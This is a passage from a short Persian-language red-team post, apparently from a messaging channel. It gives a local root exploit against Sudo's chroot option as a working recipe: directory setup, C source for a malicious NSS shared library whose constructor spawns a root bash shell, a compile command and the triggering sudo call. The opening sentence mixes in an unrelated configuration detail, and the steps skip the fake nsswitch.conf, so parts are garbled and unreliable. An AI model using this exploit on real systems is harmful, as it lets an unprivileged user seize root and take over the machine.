به طوری که اگر در پیکربندی route از pass: unix:/path/to/socket استفاده شده باشد و پارامتر Share تنظیم نشده باشد، Sudo قبل از بارگذاری sudoers، فایل nsswitch.conf را از محیط chroot می خواند.
این یعنی مهاجم توانایی قرار دادن فایل تقلبی و یک shared object مخرب، اجرای کد به عنوان root انجام دهد بدون نیاز به اینکه در فایل sudoers ثبت شده باشد.
مراحل مربوط به رسیدن به سطح دسترسی مورد نیاز:
ساخت دایرکتوری chroot و فایلهای موردنیاز
mkdir -p /tmp/pwnroot/etc
mkdir -p /tmp/pwnroot/lib
نوشتن shared library مخرب
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
__attribute__((constructor)) void pwn() {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
system("/bin/bash");
}
کامپایل shared library
gcc -fPIC -shared -o libnss_myexploit.so.2 myexploit.c
اجرای اکسپلویت
sudo -R /tmp/pwnroot id
#RedTeam #LPE #EXP
@securation